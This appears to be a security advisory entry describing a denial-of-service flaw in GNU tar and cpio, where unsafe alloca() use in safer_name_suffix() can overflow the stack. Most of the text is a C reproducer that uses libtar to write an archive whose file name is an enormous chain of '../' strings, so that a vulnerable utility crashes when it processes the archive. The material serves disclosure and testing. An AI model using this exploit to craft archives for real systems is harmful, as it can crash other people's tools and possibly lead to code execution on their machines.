source: http://www.securityfocus.com/bid/26445/info

GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function.

Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed.

GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected.

/*
 * paxlib's safer_name_suffix() stack overflow reproducer.
 */

#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>

int main(int ac, const char *av[])
{
	struct rlimit r;
	unsigned count, i;
	char *s;
	TAR *t;

	if (ac != 2)
		error(1, 0, "exactly two arguments expected");

	if (getrlimit(RLIMIT_STACK, &r))
		error(1, errno, "getrlimit RLIMIT_STACK");

	count = r.rlim_cur / 3 + 1;
	if (!(s = malloc(count * 3 + 1)))
		error(1, errno, "malloc: %u", count * 3 + 1);

	for (i = 0; i < count; ++i)
		memcpy(s + i * 3, "../", 3);
	s[count * 3] = '\0';

	if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
		error(1, errno, "tar_open: %s", av[1]);

	if (tar_append_file(t, "/dev/null", s))
		error(1, errno, "tar_append_file: %s", av[1]);

	if (tar_close(t))
		error(1, errno, "tar_close");

	return 0;
}
